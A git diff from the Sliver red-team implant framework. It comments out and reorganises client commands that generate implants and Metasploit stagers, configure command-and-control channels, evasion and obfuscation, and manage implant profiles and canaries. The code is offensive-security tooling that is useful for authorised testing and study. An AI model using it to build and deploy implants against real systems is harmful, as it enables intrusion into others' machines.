+// "github.com/desertbit/grumble"
+// )
+
+// var (
+// // SupportedCompilerTargets - Supported compiler targets
+// SupportedCompilerTargets = map[string]bool{
+// "darwin/amd64": true,
+// "darwin/arm64": true,
+// "linux/386": true,
+// "linux/amd64": true,
+// "windows/386": true,
+// "windows/amd64": true,
+// }
+
+// validFormats = []string{
+// "bash",
+// "c",
+// "csharp",
+// "dw",
+// "dword",
+// "hex",
+// "java",
+// "js_be",
+// "js_le",
+// "num",
+// "perl",
+// "pl",
+// "powershell",
+// "ps1",
+// "py",
+// "python",
+// "raw",
+// "rb",
+// "ruby",
+// "sh",
+// "vbapplication",
+// "vbscript",
+// }
+// )
+
+// func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// config := parseCompileFlags(ctx, rpc)
+// if config == nil {
+// return
+// }
+// save := ctx.Flags.String("save")
+// if save == "" {
+// save, _ = os.Getwd()
+// }
+// compile(config, save, rpc)
+// }
+
+// func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// save := ctx.Flags.String("save")
+// if save == "" {
+// save, _ = os.Getwd()
+// }
+
+// regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+// ImplantName: ctx.Args.String("implant-name"),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"Failed to regenerate implant %s\n", err)
+// return
+// }
+// if regenerate.File == nil {
+// fmt.Printf(Warn + "Failed to regenerate implant (no data)\n")
+// return
+// }
+// saveTo, err := saveLocation(save, regenerate.File.Name)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to write to %s\n", err)
+// return
+// }
+// fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo)
+// }
+
+// func saveLocation(save, defaultName string) (string, error) {
+// var saveTo string
+// if save == "" {
+// save, _ = os.Getwd()
+// }
+// fi, err := os.Stat(save)
+// if os.IsNotExist(err) {
+// log.Printf("%s does not exist\n", save)
+// if strings.HasSuffix(save, "/") {
+// log.Printf("%s is dir\n", save)
+// os.MkdirAll(save, 0700)
+// saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName))
+// } else {
+// log.Printf("%s is not dir\n", save)
+// saveDir := filepath.Dir(save)
+// _, err := os.Stat(saveTo)
+// if os.IsNotExist(err) {
+// os.MkdirAll(saveDir, 0700)
+// }
+// saveTo, _ = filepath.Abs(save)
+// }
+// } else {
+// log.Printf("%s does exist\n", save)
+// if fi.IsDir() {
+// log.Printf("%s is dir\n", save)
+// saveTo, _ = filepath.Abs(path.Join(save, defaultName))
+// } else {
+// log.Printf("%s is not dir\n", save)
+// prompt := &survey.Confirm{Message: "Overwrite existing file?"}
+// var confirm bool
+// survey.AskOne(prompt, &confirm)
+// if !confirm {
+// return "", errors.New("File already exists")
+// }
+// saveTo, _ = filepath.Abs(save)
+// }
+// }
+// return saveTo, nil
+// }
+
+// func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// var stageProto clientpb.StageProtocol
+// lhost := ctx.Flags.String("lhost")
+// if lhost == "" {
+// fmt.Println(Warn + "please specify a listening host")
+// return
+// }
+// match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
+// if err != nil {
+// return
+// }
+// if !match {
+// addr, err := net.LookupHost(lhost)
+// if err != nil {
+// fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err)
+// return
+// }
+// if len(addr) > 1 {
+// prompt := &survey.Select{
+// Message: "Select an address",
+// Options: addr,
+// }
+// err := survey.AskOne(prompt, &lhost)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
+// } else {
+// lhost = addr[0]
+// }
+// }
+// lport := ctx.Flags.Int("lport")
+// stageOS := ctx.Flags.String("os")
+// arch := ctx.Flags.String("arch")
+// proto := ctx.Flags.String("protocol")
+// format := ctx.Flags.String("format")
+// badchars := ctx.Flags.String("badchars")
+// save := ctx.Flags.String("save")
+
+// bChars := make([]string, 0)
+// if len(badchars) > 0 {
+// for _, b := range strings.Split(badchars, " ") {
+// bChars = append(bChars, fmt.Sprintf("\\x%s", b))
+// }
+// }
+
+// switch proto {
+// case "tcp":
+// stageProto = clientpb.StageProtocol_TCP
+// case "http":
+// stageProto = clientpb.StageProtocol_HTTP
+// case "https":
+// stageProto = clientpb.StageProtocol_HTTPS
+// default:
+// fmt.Printf(Warn+"%s staging protocol not supported\n", proto)
+// return
+// }
+
+// ctrl := make(chan bool)
+// go spin.Until("Generating stager, please wait ...", ctrl)
+// stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
+// Arch: arch,
+// BadChars: bChars,
+// Format: format,
+// Host: lhost,
+// Port: uint32(lport),
+// Protocol: stageProto,
+// OS: stageOS,
+// })
+// ctrl <- true
+// <-ctrl
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if save != "" || format == "raw" {
+// saveTo, _ := filepath.Abs(save)
+// fi, err := os.Stat(saveTo)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err)
+// return
+// }
+// if fi.IsDir() {
+// saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
+// }
+// err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
+// return
+// }
+// fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo)
+// } else {
+// fmt.Println(Info + "Here's your stager:")
+// fmt.Println(string(stageFile.GetFile().GetData()))
+// }
+
+// }
+
+// func nameOfOutputFormat(value clientpb.OutputFormat) string {
+// switch value {
+// case clientpb.OutputFormat_EXECUTABLE:
+// return "Executable"
+// case clientpb.OutputFormat_SERVICE:
+// return "Service"
+// case clientpb.OutputFormat_SHARED_LIB:
+// return "Shared Library"
+// case clientpb.OutputFormat_SHELLCODE:
+// return "Shellcode"
+// }
+// panic(fmt.Sprintf("Unknown format %v", value))
+// }
+
+// func generateCompilerInfo(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// compiler, err := rpc.GetCompiler(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Failed to get compiler information: %s\n", err)
+// return
+// }
+// fmt.Printf("%sServer:%s %s/%s\n", bold, normal, compiler.GOOS, compiler.GOARCH)
+// fmt.Println()
+// fmt.Printf("%sCross Compilers%s\n", bold, normal)
+// for _, cc := range compiler.CrossCompilers {
+// fmt.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
+// }
+// fmt.Println()
+// fmt.Printf("%sSupported Targets%s\n", bold, normal)
+// for _, target := range compiler.Targets {
+// fmt.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
+// }
+// fmt.Println()
+// fmt.Printf("%sDefault Builds Only%s\n", bold, normal)
+// for _, target := range compiler.UnsupportedTargets {
+// fmt.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
+// }
+// }
+
+// // Shared function that extracts the compile flags from the grumble context
+// func parseCompileFlags(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) *clientpb.ImplantConfig {
+// var name string
+// if ctx.Flags["name"] != nil {
+// name = strings.ToLower(ctx.Flags.String("name"))
+
+// if name != "" {
+// isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
+// if !isAlphanumeric(name) {
+// fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n")
+// return nil
+// }
+// }
+// }
+
+// c2s := []*clientpb.ImplantC2{}
+
+// mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
+// c2s = append(c2s, mtlsC2...)
+
+// wgC2 := parseWGc2(ctx.Flags.String("wg"))
+// c2s = append(c2s, wgC2...)
+
+// httpC2 := parseHTTPc2(ctx.Flags.String("http"))
+// c2s = append(c2s, httpC2...)
+
+// dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
+// c2s = append(c2s, dnsC2...)
+
+// namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
+// c2s = append(c2s, namedPipeC2...)
+
+// tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
+// c2s = append(c2s, tcpPivotC2...)
+
+// var symbolObfuscation bool
+// if ctx.Flags.Bool("debug") {
+// symbolObfuscation = false
+// } else {
+// symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
+// }
+
+// if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
+// fmt.Printf(Warn + "Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
+// return nil
+// }
+
+// rawCanaries := ctx.Flags.String("canary")
+// canaryDomains := []string{}
+// if 0 < len(rawCanaries) {
+// for _, canaryDomain := range strings.Split(rawCanaries, ",") {
+// if !strings.HasSuffix(canaryDomain, ".") {
+// canaryDomain += "." // Ensure we have the FQDN
+// }
+// canaryDomains = append(canaryDomains, canaryDomain)
+// }
+// }
+
+// reconnectInterval := ctx.Flags.Int("reconnect")
+// pollInterval := ctx.Flags.Int("poll")
+// maxConnectionErrors := ctx.Flags.Int("max-errors")
+
+// limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
+// limitHostname := ctx.Flags.String("limit-hostname")
+// limitUsername := ctx.Flags.String("limit-username")
+// limitDatetime := ctx.Flags.String("limit-datetime")
+// limitFileExists := ctx.Flags.String("limit-fileexists")
+
+// isSharedLib := false
+// isService := false
+// isShellcode := false
+
+// format := ctx.Flags.String("format")
+// var configFormat clientpb.OutputFormat
+// switch format {
+// case "exe":
+// configFormat = clientpb.OutputFormat_EXECUTABLE
+// case "shared":
+// configFormat = clientpb.OutputFormat_SHARED_LIB
+// isSharedLib = true
+// case "shellcode":
+// configFormat = clientpb.OutputFormat_SHELLCODE
+// isShellcode = true
+// case "service":
+// configFormat = clientpb.OutputFormat_SERVICE
+// isService = true
+// default:
+// // default to exe
+// configFormat = clientpb.OutputFormat_EXECUTABLE
+// }
+
+// targetOS := strings.ToLower(ctx.Flags.String("os"))
+// arch := strings.ToLower(ctx.Flags.String("arch"))
+// targetOS, arch = getTargets(targetOS, arch)
+// if targetOS == "" || arch == "" {
+// return nil
+// }
+
+// if len(namedPipeC2) > 0 && targetOS != "windows" {
+// fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.")
+// return nil
+// }
+
+// var tunIP net.IP
+// if wg := ctx.Flags.String("wg"); wg != "" {
+// uniqueWGIP, err := rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
+// tunIP = net.ParseIP(uniqueWGIP.IP)
+// if err != nil {
+// fmt.Println(Warn + "Failed to generate unique ip for wg peer tun interface")
+// return nil
+// }
+// fmt.Printf(Info+"Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
+// }
+
+// config := &clientpb.ImplantConfig{
+// GOOS: targetOS,
+// GOARCH: arch,
+// Name: name,
+// Debug: ctx.Flags.Bool("debug"),
+// Evasion: ctx.Flags.Bool("evasion"),
+// ObfuscateSymbols: symbolObfuscation,
+// C2: c2s,
+// CanaryDomains: canaryDomains,
+
+// WGPeerTunIP: tunIP.String(),
+// WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
+// WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
+
+// ReconnectInterval: uint32(reconnectInterval),
+// PollInterval: uint32(pollInterval),
+// MaxConnectionErrors: uint32(maxConnectionErrors),
+
+// LimitDomainJoined: limitDomainJoined,
+// LimitHostname: limitHostname,
+// LimitUsername: limitUsername,
+// LimitDatetime: limitDatetime,
+// LimitFileExists: limitFileExists,
+
+// Format: configFormat,
+// IsSharedLib: isSharedLib,
+// IsService: isService,
+// IsShellcode: isShellcode,
+// }
+
+// return config
+// }
+
+// func getTargets(targetOS string, targetArch string) (string, string) {
+
+// /* For UX we convert some synonymous terms */
+// if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
+// targetOS = "darwin"
+// }
+// if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
+// targetOS = "windows"
+// }
+// if targetOS == "linux" || targetOS == "lin" {
+// targetOS = "linux"
+// }
+
+// if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
+// targetArch = "amd64"
+// }
+// if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
+// targetArch = "386"
+// }
+
+// target := fmt.Sprintf("%s/%s", targetOS, targetArch)
+// if _, ok := SupportedCompilerTargets[target]; !ok {
+// fmt.Printf("ā ļø Unsupported compiler target %s%s%s, but we can try to compile a default implant.\n",
+// bold, target, normal,
+// )
+// fmt.Printf("ā ļø Default implants do not support all commands/features.\n")
+// prompt := &survey.Confirm{Message: "Compile a default build?"}
+// var confirm bool
+// survey.AskOne(prompt, &confirm)
+// if !confirm {
+// return "", ""
+// }
+// }
+
+// return targetOS, targetArch
+// }
+
+// func parseMTLSc2(args string) []*clientpb.ImplantC2 {
+// c2s := []*clientpb.ImplantC2{}
+// if args == "" {
+// return c2s
+// }
+// for index, arg := range strings.Split(args, ",") {
+// uri := url.URL{Scheme: "mtls"}
+// uri.Host = arg
+// if uri.Port() == "" {
+// uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort)
+// }
+// c2s = append(c2s, &clientpb.ImplantC2{
+// Priority: uint32(index),
+// URL: uri.String(),
+// })
+// }
+// return c2s
+// }
+
+// func parseWGc2(args string) []*clientpb.ImplantC2 {
+// c2s := []*clientpb.ImplantC2{}
+// if args == "" {
+// return c2s
+// }
+// for index, arg := range strings.Split(args, ",") {
+// arg = strings.ToLower(arg)
+// uri := url.URL{Scheme: "wg"}
+// uri.Host = arg
+// if uri.Port() == "" {
+// uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultWGLPort)
+// }
+// c2s = append(c2s, &clientpb.ImplantC2{
+// Priority: uint32(index),
+// URL: uri.String(),
+// })
+// }
+// return c2s
+// }
+
+// func parseHTTPc2(args string) []*clientpb.ImplantC2 {
+// c2s := []*clientpb.ImplantC2{}
+// if args == "" {
+// return c2s
+// }
+// for index, arg := range strings.Split(args, ",") {
+// arg = strings.ToLower(arg)
+// var uri *url.URL
+// var err error
+// if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
+// uri, err = url.Parse(arg)
+// if err != nil {
+// log.Printf("Failed to parse C2 URL %s", err)
+// continue
+// }
+// } else {
+// uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
+// if err != nil {
+// log.Printf("Failed to parse C2 URL %s", err)
+// continue
+// }
+// }
+// c2s = append(c2s, &clientpb.ImplantC2{
+// Priority: uint32(index),
+// URL: uri.String(),
+// })
+// }
+// return c2s
+// }
+
+// func parseDNSc2(args string) []*clientpb.ImplantC2 {
+// c2s := []*clientpb.ImplantC2{}
+// if args == "" {
+// return c2s
+// }
+// for index, arg := range strings.Split(args, ",") {
+// uri := url.URL{Scheme: "dns"}
+// if len(arg) < 1 {
+// continue
+// }
+// // Make sure we have the FQDN
+// if !strings.HasSuffix(arg, ".") {
+// arg += "."
+// }
+// if strings.HasPrefix(arg, ".") {
+// arg = arg[1:]
+// }
+
+// uri.Host = arg
+// c2s = append(c2s, &clientpb.ImplantC2{
+// Priority: uint32(index),
+// URL: uri.String(),
+// })
+// }
+// return c2s
+// }
+
+// func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
+// c2s := []*clientpb.ImplantC2{}
+// if args == "" {
+// return c2s
+// }
+// for index, arg := range strings.Split(args, ",") {
+// uri, err := url.Parse("namedpipe://" + arg)
+// if len(arg) < 1 {
+// continue
+// }
+// if err != nil {
+// return c2s
+// }
+// c2s = append(c2s, &clientpb.ImplantC2{
+// Priority: uint32(index),
+// URL: uri.String(),
+// })
+// }
+// return c2s
+// }
+
+// func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
+// c2s := []*clientpb.ImplantC2{}
+// if args == "" {
+// return c2s
+// }
+// for index, arg := range strings.Split(args, ",") {
+
+// uri := url.URL{Scheme: "tcppivot"}
+// uri.Host = arg
+// if uri.Port() == "" {
+// uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort)
+// }
+// c2s = append(c2s, &clientpb.ImplantC2{
+// Priority: uint32(index),
+// URL: uri.String(),
+// })
+// }
+// return c2s
+// }
+
+// func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// name := ctx.Flags.String("name")
+// if name == "" {
+// fmt.Printf(Warn + "no profile selected")
+// return
+// }
+// save := ctx.Flags.String("save")
+// if save == "" {
+// save, _ = os.Getwd()
+// }
+// profile := getImplantProfileByName(rpc, name)
+// if profile != nil {
+// implantFile, err := compile(profile.Config, save, rpc)
+// if err != nil {
+// return
+// }
+// profile.Config.Name = buildImplantName(implantFile.Name)
+// _, err = rpc.SaveImplantProfile(context.Background(), profile)
+// if err != nil {
+// fmt.Printf(Warn+"could not update implant profile: %v\n", err)
+// return
+// }
+// } else {
+// fmt.Printf(Warn+"No profile with name '%s'", name)
+// }
+// }
+
+// func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) {
+
+// fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+
+// if config.ObfuscateSymbols {
+// fmt.Printf(Info+"%sSymbol obfuscation is enabled%s\n", bold, normal)
+// } else if !config.Debug {
+// fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal)
+// }
+
+// start := time.Now()
+// ctrl := make(chan bool)
+// go spin.Until("Compiling, please wait ...", ctrl)
+
+// generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
+// Config: config,
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return nil, err
+// }
+
+// end := time.Now()
+// elapsed := time.Time{}.Add(end.Sub(start))
+// fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05"))
+// if len(generated.File.Data) == 0 {
+// fmt.Printf(Warn + "Build failed, no file data\n")
+// return nil, errors.New("No file data")
+// }
+
+// saveTo, err := saveLocation(save, generated.File.Name)
+// if err != nil {
+// return nil, err
+// }
+
+// err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
+// return nil, err
+// }
+// fmt.Printf(Info+"Implant saved to %s\n", saveTo)
+// return generated.File, err
+// }
+
+// func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// profiles := getImplantProfiles(rpc)
+// if profiles == nil {
+// return
+// }
+// if len(profiles) == 0 {
+// fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewStr)
+// return
+// }
+// table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
+// fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("Name")),
+// strings.Repeat("=", len("Platform")),
+// strings.Repeat("=", len("Command & Control")),
+// strings.Repeat("=", len("Debug")),
+// strings.Repeat("=", len("Format")),
+// strings.Repeat("=", len("Obfuscation")),
+// strings.Repeat("=", len("Limitations")),
+// )
+
+// for _, profile := range profiles {
+// config := profile.Config
+// if 0 < len(config.C2) {
+// obfuscation := "strings only"
+// if config.ObfuscateSymbols {
+// obfuscation = "symbols obfuscation"
+// }
+// if config.Debug {
+// obfuscation = "none"
+// }
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
+// profile.Name,
+// fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+// fmt.Sprintf("[1] %s", config.C2[0].URL),
+// fmt.Sprintf("%v", config.Debug),
+// fmt.Sprintf("%v", config.Format),
+// fmt.Sprintf("%s", obfuscation),
+// getLimitsString(config),
+// )
+// }
+// if 1 < len(config.C2) {
+// for index, c2 := range config.C2[1:] {
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
+// "",
+// "",
+// fmt.Sprintf("[%d] %s", index+2, c2.URL),
+// "",
+// "",
+// "",
+// "",
+// )
+// }
+// }
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
+// }
+// table.Flush()
+// }
+
+// func getLimitsString(config *clientpb.ImplantConfig) string {
+// limits := []string{}
+// if config.LimitDatetime != "" {
+// limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
+// }
+// if config.LimitDomainJoined {
+// limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
+// }
+// if config.LimitUsername != "" {
+// limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
+// }
+// if config.LimitHostname != "" {
+// limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
+// }
+// if config.LimitFileExists != "" {
+// limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
+// }
+// return strings.Join(limits, "; ")
+// }
+
+// func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// name := ctx.Flags.String("profile-name")
+// if name == "" {
+// fmt.Printf(Warn + "Invalid profile name\n")
+// return
+// }
+// config := parseCompileFlags(ctx, rpc)
+// if config == nil {
+// return
+// }
+// profile := &clientpb.ImplantProfile{
+// Name: name,
+// Config: config,
+// }
+// resp, err := rpc.SaveImplantProfile(context.Background(), profile)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// } else {
+// fmt.Printf(Info+"Saved new profile %s\n", resp.Name)
+// }
+// }
+
+// func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// _, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
+// Name: ctx.Args.String("profile-name"),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"Failed to delete profile %s\n", err)
+// return
+// }
+// }
+
+// func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile {
+// pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Error %s", err)
+// return nil
+// }
+// return pbProfiles.Profiles
+// }
+
+// func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile {
+// pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Error %s", err)
+// return nil
+// }
+// for _, profile := range pbProfiles.Profiles {
+// if profile.Name == name {
+// return profile
+// }
+// }
+// return nil
+// }
+
+// func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Failed to list canaries %s", err)
+// return
+// }
+// if 0 < len(canaries.Canaries) {
+// displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned"))
+// } else {
+// fmt.Printf(Info + "No canaries in database\n")
+// }
+// }
+
+// func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) {
+
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+// fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("Sliver Name")),
+// strings.Repeat("=", len("Domain")),
+// strings.Repeat("=", len("Triggered")),
+// strings.Repeat("=", len("First Trigger")),
+// strings.Repeat("=", len("Latest Trigger")),
+// )
+
+// lineColors := []string{}
+// for _, canary := range canaries {
+// if burnedOnly && !canary.Triggered {
+// continue
+// }
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+// canary.ImplantName,
+// canary.Domain,
+// fmt.Sprintf("%v", canary.Triggered),
+// canary.FirstTriggered,
+// canary.LatestTrigger,
+// )
+// if canary.Triggered {
+// lineColors = append(lineColors, bold+red)
+// } else {
+// lineColors = append(lineColors, normal)
+// }
+// }
+// table.Flush()
+
+// for index, line := range strings.Split(outputBuf.String(), "\n") {
+// if len(line) == 0 {
+// continue
+// }
+// // We need to account for the two rows of column headers
+// if 0 < len(line) && 2 <= index {
+// lineColor := lineColors[index-2]
+// fmt.Printf("%s%s%s\n", lineColor, line, normal)
+// } else {
+// fmt.Printf("%s\n", line)
+// }
+// }
+// }
diff --git a/client/command/help.go b/client/command/help/help.go
similarity index 83%
rename from client/command/help.go
rename to client/command/help/help.go
index 54ceff7ab3..99ce32f1e1 100644
--- a/client/command/help.go
+++ b/client/command/help/help.go
@@ -1,4 +1,4 @@
-package command
+package help
/*
Sliver Implant Framework
@@ -22,28 +22,30 @@ import (
"fmt"
"sort"
+ "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/desertbit/columnize"
"github.com/desertbit/grumble"
)
-func helpCmd(app *grumble.App, isShell bool) {
- printHelp(app)
- fmt.Println()
+func HelpCmd(con *console.SliverConsoleClient) func(a *grumble.App, shell bool) {
+ return func(a *grumble.App, shell bool) {
+ printHelp(con)
+ }
}
-func printHelp(app *grumble.App) {
+func printHelp(con *console.SliverConsoleClient) {
config := columnize.DefaultConfig()
config.Delim = "|"
config.Glue = " "
config.Prefix = " "
// Group the commands by their help group if present.
groups := make(map[string]*grumble.Commands)
- for _, c := range app.Commands().All() {
+ for _, c := range con.App.Commands().All() {
key := c.HelpGroup
- if ActiveSession.Get() != nil {
- if ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
+ if con.ActiveSession.Get() != nil {
+ if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
@@ -85,7 +87,7 @@ func printHelp(app *grumble.App) {
if len(output) > 0 {
fmt.Println()
- printHeadline(app.Config(), headline)
+ printHeadline(con.App.Config(), headline)
fmt.Printf("%s\n", columnize.Format(output, config))
}
}
diff --git a/client/command/ifconfig.go b/client/command/ifconfig.go
index 0e135597fc..26c7d6cf90 100644
--- a/client/command/ifconfig.go
+++ b/client/command/ifconfig.go
@@ -1,81 +1,81 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2021 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2021 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "fmt"
- "strconv"
- "strings"
+// import (
+// "context"
+// "fmt"
+// "strconv"
+// "strings"
- "github.com/desertbit/grumble"
+// "github.com/desertbit/grumble"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
-)
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// )
-func ifconfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
+// func ifconfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
- ifconfig, err := rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
- Request: ActiveSession.Request(ctx),
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
+// ifconfig, err := rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
+// Request: ActiveSession.Request(ctx),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
- for ifaceIndex, iface := range ifconfig.NetInterfaces {
- fmt.Printf("%s%s%s (%d)\n", bold, iface.Name, normal, ifaceIndex)
- if 0 < len(iface.MAC) {
- fmt.Printf(" MAC Address: %s\n", iface.MAC)
- }
- for _, ip := range iface.IPAddresses {
+// for ifaceIndex, iface := range ifconfig.NetInterfaces {
+// fmt.Printf("%s%s%s (%d)\n", bold, iface.Name, normal, ifaceIndex)
+// if 0 < len(iface.MAC) {
+// fmt.Printf(" MAC Address: %s\n", iface.MAC)
+// }
+// for _, ip := range iface.IPAddresses {
- // Try to find local IPs and colorize them
- subnet := -1
- if strings.Contains(ip, "/") {
- parts := strings.Split(ip, "/")
- subnetStr := parts[len(parts)-1]
- subnet, err = strconv.Atoi(subnetStr)
- if err != nil {
- subnet = -1
- }
- }
